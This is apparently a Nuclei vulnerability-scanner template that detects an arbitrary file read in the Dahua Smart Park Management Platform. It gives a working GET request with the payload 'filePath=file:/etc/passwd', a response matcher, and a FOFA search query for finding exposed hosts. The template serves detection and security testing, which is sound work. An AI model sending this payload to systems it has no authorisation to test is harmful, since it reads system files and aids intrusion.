nuclei-templates/http/vulnerabilities/dahua/dahua-wpms-lfi.yaml

36 lines
1.1 KiB
YAML

id: dahua-wpms-lfi
info:
name: Dahua Smart Park Management Platform - Arbitary File Read
author: DhiyaneshDk
severity: high
description: Dahua Smart Park Management Platform is vulnerable to Local File Inclusion.
reference:
- https://mp.weixin.qq.com/s/uRhVl2XC5fTNKO8eDFFebA
- https://github.com/Vme18000yuan/FreePOC/blob/master/poc/pocsuite/dahua_zhyq_attachment_fileread.py
metadata:
verified: true
max-request: 1
fofa-query: body="src=\"/WPMS/asset/common/js/jsencrypt.min.js\""
tags: lfi,dahua,wpms
http:
- method: GET
path:
- "{{BaseURL}}/portal/itc/attachment_downloadByUrlAtt.action?filePath=file:/etc/passwd"
matchers-condition: and
matchers:
- type: word
part: header
words:
- filename=passwd
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a0046304402202021ad1f393231463650b6c439cc746d1b6cfc7860612c4566124c11943edfef02206bdf56052b56bc62d4f2b47b15d3c9a6ca1ea463219248180c93d30612cf4a27:922c64590222798bb761d5b6d8e72950